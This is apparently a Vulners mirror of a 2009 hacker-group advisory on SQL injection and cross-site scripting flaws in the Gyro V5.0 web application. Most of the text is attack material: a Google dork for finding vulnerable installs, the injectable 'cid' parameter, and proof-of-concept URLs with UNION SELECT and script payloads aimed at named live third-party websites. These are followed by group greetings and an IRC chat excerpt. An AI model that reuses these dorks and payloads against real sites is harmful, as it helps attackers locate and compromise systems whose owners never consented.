Lucene search
K

Gyro 5.0 XSS / SQL Injection

🗓️ 11 Sep 2009 00:00:00Reported by OoN_BoyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

Gyro V5.0 SQL Injection and XSS vulnerabilities, September 11, 2009, by OoN_Bo

Code
`[+]=================================================================[+]  
____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____   
||A |||n |||t |||i |||S |||c |||e |||r |||u |||t |||i |||y ||  
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||  
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|  
------------------------------------------------------------  
http://antisecurity.org  
[+]=================================================================[+]  
[x]Title : Gyro V5.0 [Sql/Xss] Multiple Remote Vulnerabilities  
[x]Software : Gyro V5.0  
[x]Vendor : http://www.datavore.com  
[x]Date : 11 September 2009 ( Indonesia )   
[x]Author : OoN_Boy  
[x]Contact : [email protected]  
[x]Blog : http://oonboy.blogspot.com  
[x]Website : http://oonboy.info  
[+]=================================================================[+]  
[x] Google Dork  
  
"powered by Gyro V5.0"  
[+]=================================================================[+]  
[x] Exploit  
http://localhost/home?op=cat&cid=[sql]  
http://localhost/home?op=cat&cid=[Xss]  
  
[x] Proof of concept  
http://www.vansda.ca/home?op=cat&cid=29+union+select+1,2,3,4,5,version(),7,8,9,10,11,12,13,14--  
http://www.vansda.ca/home?op=cat&cid=29"><script>alert(123456)</script>  
http://www.phpmath.com/home?op=cat&cid=29+union+select+version(),2,3,4,5,6,7,8,9,10,11,12,13,14--  
http://www.phpmath.com/home?op=cat&cid=29"><script>alert(123456)</script>  
[+]=================================================================[+]  
[x] Greetz  
  
Antisecurity[dot]Org www.BatamHacker.or.id www.MainHack.com www.ServerIsDown.org -   
Vrs-hCk, c0li, h4ntu, Opay, Ipay, Paman, NoGe, H312Y, pizzyroot,  
zxvf, Joe Chawanua, k0rea [Ntc],xx_user, s3t4n, Angela Chang, IrcMafia,  
str0ke, em|nem, Pandoe, Ronny ^s0n g0ku^  
  
[+]=================================================================[+]  
[x] Wew  
[03:49] <&OoN_Boy> ============================  
[03:49] <&OoN_Boy> [03:48] <&chawanua> mentang2 dah jadian ama si noge ..  
[03:49] <&OoN_Boy> [03:48] <&Jack> xixixi  
[03:49] <&OoN_Boy> [03:48] <&Jack> maap maap  
[03:49] <&OoN_Boy> [03:48] <&Jack> :D  
[03:49] <&OoN_Boy> [03:48] <&chawanua> si bob ko tinggalin   
[03:49] <&OoN_Boy> [03:49] <&Jack> aq homo, begitu jg dirimu  
[03:49] <&OoN_Boy> ============================  
[+]=================================================================[+]  
---------===Jangan Ngambek Jack ===---------  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2009 00:00Current
0.7Low risk
Vulners AI Score0.7
20